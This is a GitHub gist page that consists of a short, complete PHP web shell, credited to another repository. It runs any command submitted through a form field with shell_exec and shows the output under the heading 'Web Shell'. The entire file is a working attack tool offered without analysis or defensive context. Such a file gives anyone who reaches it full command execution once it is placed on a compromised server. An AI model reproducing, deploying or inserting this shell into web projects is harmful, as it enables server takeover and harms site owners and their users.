Created
May 18, 2019 09:55
-
-
Save cExplr/7d2cc4beb1d77d0055f8805e53614135 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| <!-- from https://raw.githubusercontent.com/artyuum/Simple-PHP-Web-Shell/master/index.php --> | |
| if (!empty($_POST['cmd'])) { | |
| $cmd = shell_exec($_POST['cmd']); | |
| } | |
| ?> | |
| <!DOCTYPE html> | |
| <html> | |
| <!-- By Artyum (https://github.com/artyuum) --> | |
| <head> | |
| <meta charset="utf-8"> | |
| <meta http-equiv="X-UA-Compatible" content="IE=edge"> | |
| <meta name="viewport" content="width=device-width, initial-scale=1"> | |
| <link rel="stylesheet" type="text/css" href="//bootswatch.com/4/flatly/bootstrap.min.css"> | |
| <title>Web Shell</title> | |
| <style> | |
| h2 { | |
| color: rgba(0, 0, 0, .75); | |
| } | |
| pre { | |
| padding: 15px; | |
| -webkit-border-radius: 5px; | |
| -moz-border-radius: 5px; | |
| border-radius: 5px; | |
| background-color: #ECF0F1; | |
| } | |
| .container { | |
| width: 850px; | |
| } | |
| </style> | |
| </head> | |
| <body> | |
| <div class="container"> | |
| <div class="pb-2 mt-4 mb-2"> | |
| <h2> Execute a command </h2> | |
| </div> | |
| <form method="POST"> | |
| <div class="form-group"> | |
| <label for="cmd"><strong>Command</strong></label> | |
| <input type="text" class="form-control" name="cmd" id="cmd" value="<?= htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8') ?>" required> | |
| </div> | |
| <button type="submit" class="btn btn-primary">Execute</button> | |
| </form> | |
| <?php if ($cmd): ?> | |
| <div class="pb-2 mt-4 mb-2"> | |
| <h2> Output </h2> | |
| </div> | |
| <pre> | |
| <?= htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8') ?> | |
| </pre> | |
| <?php elseif (!$cmd && $_SERVER['REQUEST_METHOD'] == 'POST'): ?> | |
| <div class="pb-2 mt-4 mb-2"> | |
| <h2> Output </h2> | |
| </div> | |
| <pre><small>No result.</small></pre> | |
| <?php endif; ?> | |
| </div> | |
| </body> | |
| </html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment